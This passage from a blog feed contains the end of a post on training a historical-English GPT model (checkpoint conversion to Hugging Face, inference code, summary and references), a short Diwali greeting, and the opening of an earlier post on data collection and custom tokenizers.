&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Convert PyTorch checkpoint to Hugging Face format&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load PyTorch checkpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    checkpoint &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load(pytorch_checkpoint_path, map_location&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cpu&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model_state &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; checkpoint[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;model&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    config &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; checkpoint[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;config&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Handle torch.compile prefixes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;any&lt;/span&gt;(key&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;startswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;_orig_mod.&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; model_state&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;keys()):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        clean_state &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; key, value &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; model_state&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            clean_state[key[&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;:]] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; value &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; key&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;startswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;_orig_mod.&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; value
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model_state &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; clean_state
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Convert to Hugging Face format&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hf_model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; GPT2LMHeadModel(config)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hf_model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load_state_dict(model_state)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save in Hugging Face format&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hf_model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(output_dir)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(output_dir)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 17: PyTorch → Hugging Face Conversion (essentials)&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The conversion handles a few practical details. If the model was compiled with &lt;code&gt;torch.compile&lt;/code&gt;, parameter names are prefixed with &lt;code&gt;_orig_mod.&lt;/code&gt;, which the code strips to match Hugging Face module names. &lt;code&gt;GPT2LMHeadModel(config)&lt;/code&gt; instantiates a GPT-2-style architecture that matches the checkpoint&amp;rsquo;s layer structure, and &lt;code&gt;load_state_dict()&lt;/code&gt; loads the weights with automatic shape validation. The &lt;code&gt;save_pretrained()&lt;/code&gt; method writes all required files to disk.&lt;/p&gt;
&lt;p&gt;File sizes: PyTorch checkpoints are ~450MB (SLM) and ~1.4GB (Regular model); the Hugging Face format reduces this slightly by excluding the optimizer state. The tokenizer adds ~15MB to the repository.&lt;/p&gt;
&lt;h2 id=&#34;9-inference-options&#34;&gt;9. Inference Options&lt;/h2&gt;
&lt;p&gt;Inference can run directly from PyTorch checkpoints or from Hugging Face models. PyTorch checkpoints are convenient during development since you can test any training checkpoint without conversion. Hugging Face models use standard &lt;code&gt;from_pretrained()&lt;/code&gt; APIs and are better suited for sharing and deployment workflows.&lt;/p&gt;
&lt;figure id=&#34;listing18&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Option 1: PyTorch checkpoint inference (direct from training)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python &lt;span style=&#34;color:#f5a97f&#34;&gt;06&lt;/span&gt;_inference&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;inference_pytorch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;py \
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;--&lt;/span&gt;checkpoint &lt;span style=&#34;color:#f5a97f&#34;&gt;09&lt;/span&gt;_models&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;checkpoints&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;slm&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;60001.&lt;/span&gt;pt \
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;--&lt;/span&gt;prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Option 2: Hugging Face model inference (published models)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoTokenizer, AutoModelForCausalLM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/london-historical-slm&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/london-historical-slm&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets...&amp;#34;&lt;/span&gt;, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(inputs[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;input_ids&amp;#39;&lt;/span&gt;], max_new_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;, do_sample&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;result &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(outputs[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;], skip_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 18: Inference Options&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Both methods load in seconds and generate ~50–100 tokens/sec on typical consumer GPUs (2–4GB VRAM for SLM, 6–8GB for the Regular model). Use PyTorch checkpoints for development and training comparisons; use Hugging Face models for production deployment and sharing. For interactive testing with published models, see &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;10-summary&#34;&gt;10. Summary&lt;/h2&gt;
&lt;p&gt;We built a training‑ready GPT pipeline for historical text, end‑to‑end: a clear decoder‑only architecture, pragmatic GPU/precision tuning, DDP for scale, resilient checkpointing/resume, WandB tracking, and clean hand‑off of artifacts (PyTorch checkpoints → Hugging Face export).&lt;/p&gt;
&lt;p&gt;Outcome: two working models on the Part 2 corpus - 117M (SLM) and 354M (Regular) - ready for inference now and for evaluation/deployment in Part 4.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🔗 GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete training infrastructure (&lt;code&gt;04_training/&lt;/code&gt;), model architecture (&lt;code&gt;config.py&lt;/code&gt;), and GPU configuration (&lt;code&gt;08_documentation/GPU_TUNING.md&lt;/code&gt;)&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🧱 Series Posts&lt;/strong&gt;: &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1 – Using the Published Historical Models
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2 – Data Collection &amp;amp; Custom Tokenizer
	&lt;/span&gt;
&lt;/a&gt; | Part 3 (this post) | &lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4 – Evaluation &amp;amp; Deployment
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🤗 Published Models&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SLM Model
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Regular Model
	&lt;/span&gt;
&lt;/a&gt; - Ready-to-use historical language models on HuggingFace&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📚 Book Reference&lt;/strong&gt;: &lt;a
	
		href = &#34;https://a.co/d/ffzkJ7T&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; - For deeper understanding of core LLM concepts.&lt;/p&gt;&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Ready for Part 4?&lt;/strong&gt; Part 4 covers model evaluation, testing, and deployment strategies that turn your trained models into working systems ready for real-world use.&lt;/p&gt;
&lt;h2 id=&#34;references&#34;&gt;References&lt;/h2&gt;
&lt;div class=&#34;references&#34; style=&#34;font-size:0.85em&#34;&gt;
&lt;ol&gt;
&lt;li&gt;Vaswani et al. (2017) – Attention Is All You Need: &lt;a
	
		href = &#34;https://arxiv.org/abs/1706.03762&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1706.03762
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Radford et al. (2019) – Language Models are Unsupervised Multitask Learners: &lt;a
	
		href = &#34;https://www.semanticscholar.org/paper/Language-Models-are-Unsupervised-Multitask-Learners-Radford-Wu/9405cc0d6169988371b2755e573cc28650d14dfe&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://www.semanticscholar.org/paper/Language-Models-are-Unsupervised-Multitask-Learners-Radford-Wu/9405cc0d6169988371b2755e573cc28650d14dfe
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Brown et al. (2020) – Language Models are Few-Shot Learners: &lt;a
	
		href = &#34;https://arxiv.org/abs/2005.14165&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2005.14165
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kaplan et al. (2020) – Scaling Laws for Neural Language Models: &lt;a
	
		href = &#34;https://arxiv.org/abs/2001.08361&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2001.08361
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoffmann et al. (2022) – Training Compute-Optimal LLMs (Chinchilla): &lt;a
	
		href = &#34;https://arxiv.org/abs/2203.15556&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2203.15556
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Chowdhery et al. (2022) – PaLM: Scaling Language Modeling with Pathways: &lt;a
	
		href = &#34;https://arxiv.org/abs/2204.02311&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2204.02311
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Clark et al. (2019) – What Does BERT Look At?: &lt;a
	
		href = &#34;https://arxiv.org/abs/1906.04341&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1906.04341
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Voita et al. (2019) – Analyzing Multi‑Head Self‑Attention: &lt;a
	
		href = &#34;https://arxiv.org/abs/1905.09418&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1905.09418
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Dao et al. (2022) – FlashAttention: &lt;a
	
		href = &#34;https://arxiv.org/abs/2205.14135&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2205.14135
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Micikevicius et al. (2018) – Mixed Precision Training: &lt;a
	
		href = &#34;https://arxiv.org/abs/1710.03740&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1710.03740
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Rajbhandari et al. (2020) – ZeRO: &lt;a
	
		href = &#34;https://arxiv.org/abs/1910.02054&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1910.02054
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Paszke et al. (2019) – PyTorch: &lt;a
	
		href = &#34;https://arxiv.org/abs/1912.01703&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1912.01703
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kingma &amp;amp; Ba (2014) – Adam: A Method for Stochastic Optimization: &lt;a
	
		href = &#34;https://arxiv.org/abs/1412.6980&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1412.6980
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Loshchilov &amp;amp; Hutter (2017) – AdamW Decoupled Weight Decay Regularization : &lt;a
	
		href = &#34;https://arxiv.org/abs/1711.05101&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1711.05101
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Smith &amp;amp; Topin (2017) – Super‑Convergence: Very Fast Training of Neural Networks Using Large Learning Rates: &lt;a
	
		href = &#34;https://arxiv.org/abs/1708.07120&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1708.07120
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Goyal et al. (2017) – Accurate, Large Minibatch SGD: &lt;a
	
		href = &#34;https://arxiv.org/abs/1706.02677&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1706.02677
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Sergeev &amp;amp; Del Balso (2018) – Horovod: &lt;a
	
		href = &#34;https://arxiv.org/abs/1802.05799&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1802.05799
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pope et al. (2022) – Efficiently Scaling Transformer Inference: &lt;a
	
		href = &#34;https://arxiv.org/abs/2211.05102&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2211.05102
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Jawahar et al. (2019) – What does BERT learn about the structure of language?: &lt;a
	
		href = &#34;https://aclanthology.org/P19-1356.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://aclanthology.org/P19-1356.pdf
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mikolov et al. (2013) – Word2vec: &lt;a
	
		href = &#34;https://arxiv.org/abs/1301.3781&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1301.3781
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pennington et al. (2014) – GloVe:  &lt;a
	
		href = &#34;https://aclanthology.org/D14-1162/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://aclanthology.org/D14-1162/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Devlin et al. (2018) – BERT &lt;a
	
		href = &#34;https://arxiv.org/abs/1810.04805&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1810.04805
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Press &amp;amp; Wolf (2017) – Using the Output Embedding to Improve Language Models: &lt;a
	
		href = &#34;https://arxiv.org/abs/1608.05859&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1608.05859
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Inan et al. (2016) – Tying Word Vectors and Word Classifiers: &lt;a
	
		href = &#34;https://arxiv.org/abs/1611.01462&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1611.01462
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Happy Diwali - 2025</title>
      <link>/post/2025/10/happy-diwali-2025/</link>
      <pubDate>Sun, 19 Oct 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/10/happy-diwali-2025/</guid>
      <description>&lt;p&gt;I 💖 Diwali. For those celebrating, from my family to yours!&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/diwali-greeting-2025.png&#34; alt=&#34;Diwali Greeting&#34; title=&#34;Happy Diwali&#34;&gt;
&lt;/figure&gt;
</description>
    </item>
    
    <item>
      <title>🏛️Building LLMs from Scratch - Part 2: Data Collection &amp; Custom Tokenizers</title>
      <link>/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/</link>
      <pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this second part of our 4-part series on building language models from scratch, I explore the two foundational areas of LLM development: data collection and custom tokenizer creation. &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 1 - Building LLM from Scratch
	&lt;/span&gt;
&lt;/a&gt; covered using the published model; here, we build the complete pipeline from raw historical documents to a custom tokenizer that understands archaic English, London geography, and period-specific terminology.&lt;/p&gt;
&lt;p&gt;The challenge with historical LLMs isn&amp;rsquo;t just having enough data—it&amp;rsquo;s having the &lt;em&gt;right&lt;/em&gt; data processed to preserve linguistic nuances across different historical periods. This post demonstrates how to transform over 218 historical sources into a corpus of more than 500 million characters using a specialized tokenizer for authentic historical text generation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Educational Purpose&lt;/strong&gt;: This is a learning project designed to teach LLM development concepts. For production-scale LLMs, you&amp;rsquo;ll need significantly larger datasets, more sophisticated infrastructure, and additional considerations that are not covered in this post.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;1-the-historical-language-modeling-challenge&#34;&gt;1. The Historical Language Modeling Challenge&lt;/h2&gt;
&lt;p&gt;Building a language model for historical text presents unique challenges. Historical English from 1500 to 1850 contains linguistic patterns, vocabulary, and cultural references that modern tokenizers have never encountered. Standard tokenizers like &lt;a
	
		href = &#34;https://github.com/openai/tiktoken&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TikToken
	&lt;/span&gt;
&lt;/a&gt; fragment archaic words like &amp;ldquo;quoth&amp;rdquo; and &amp;ldquo;hast&amp;rdquo; into multiple subword tokens, destroying semantic meaning crucial for historical text generation.&lt;/p&gt;
